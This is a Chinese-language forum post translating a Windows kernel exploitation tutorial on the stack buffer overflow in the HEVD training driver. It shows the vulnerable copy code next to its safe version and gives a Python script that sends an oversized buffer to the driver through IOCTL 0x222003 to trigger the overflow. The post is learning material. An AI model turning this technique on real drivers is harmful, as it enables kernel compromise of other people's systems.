首页
社区
课程
招聘
[翻译]Windows内核漏洞利用教程2:栈溢出
发表于: 2018-1-17 22:10 6439

[翻译]Windows内核漏洞利用教程2:栈溢出

2018-1-17 22:10
6439
原文地址:https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
看到坛友 fyb波翻译了一、四,我自己刚开始接触内核,学习的同时简单翻译了一下,英文不好,这方面知识也刚开始接触,不足之处 请批评指正。

正文:



在第一部分,我们了解了怎样手动搭建内核调试环境。如果你想要更简单直接的方法,可以看一看hexblog的文章,关于搭建VirtualKd环境,更快地进行内核调试。

在这篇文章中,我们将深入内核空间,并且通过对一个驱动程序的漏洞利用作为第一个内核空间的缓冲区溢出例子。

感谢hacksysteam提供的存在漏洞的HEVD驱动训练项目,以及fuzzySecurity不错的writeup。


在这个教程中,我们将尝试去利用HEVD驱动中的缓冲区溢出模块。从github上下载HEVD的源码,并根据提示编译生成驱动,或者直接下载编译好的有漏洞的驱动程序,然后根据你的系统架构选择32位或64位。

然后在被调试虚拟机中使用OSR Loader 加载驱动,如下图所示:

利用如下命令检查驱动是否已经被成功加载进被调试虚拟机:

驱动程序一起的还有.pdb的符号文件,如果你需要的话可以加载进windbg使用。

驱动安装好之后,我们接下来分析存在的漏洞。


在驱动程序的源码中,看StackOverflow.c文件,hacksysteam针对存在漏洞的版本和不存在漏洞的版本的源码有一个很好的对比展示,如下:
#ifdef SECURE
//安全版本:在内存拷贝时,拷贝的内存大小参数等于目标缓冲区(kernelbuffer)的大小,这个不会造成缓冲区溢出。
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
 
//不安全版本:在内存拷贝时,此处传入的内存大小值没有经过验证,无法判断是否会大于目标缓冲区(kernelbuffer)的大小,
//所以可能会造成缓冲区溢出。
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

#ifdef SECURE
//安全版本:在内存拷贝时,拷贝的内存大小参数等于目标缓冲区(kernelbuffer)的大小,这个不会造成缓冲区溢出。
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
 
//不安全版本:在内存拷贝时,此处传入的内存大小值没有经过验证,无法判断是否会大于目标缓冲区(kernelbuffer)的大小,
//所以可能会造成缓冲区溢出。
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

在不安全的版本中,我们可以看到,RtlCopyMemory()进行内存拷贝时,直接使用了调用者传入大小,而没有进行任何验证,而在安全的版本中,拷贝的而大小被限制为目的缓冲区的大小。因此我们就可以在不安全的版本中利用缓冲区溢出漏洞。

接下来,我们使用IDA pro 来分析一下,这个缓冲区溢出漏洞是在哪里如何被触发的:


在这个调用流程中,分析一下IrpDeviceIoCtlHandler函数。

我们可以看到,IOCTL是0x222003h时,指针指向StackOverflow模块。因此,我们知道了如何去调用StackOverflow模块,接下来,分析一下TriggerStackOverflow函数。

我们注意到这里定义了内核缓冲区的大小,0x800.


到这里,我们已经有了所有相关的信息,可以开始编写exp 了。我是用了DeviceIoControl()和驱动进行交互,用Python来写exp。
import ctypes, sys
from ctypes import *
 
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
 
buf = "A"*2048
bufLength = len(buf)
 
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)

import ctypes, sys
from ctypes import *
 
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
 
buf = "A"*2048
bufLength = len(buf)
 
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 300
活跃值: (2477)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark
2018-1-18 08:22
0
雪    币: 1
活跃值: (10)
能力值: ( LV3,RANK:22 )
在线值:
发帖
回帖
粉丝
3
最近正在学习相关内容,感谢您的分享
2018-3-18 19:36
0
游客
登录 | 注册 方可回帖
返回
//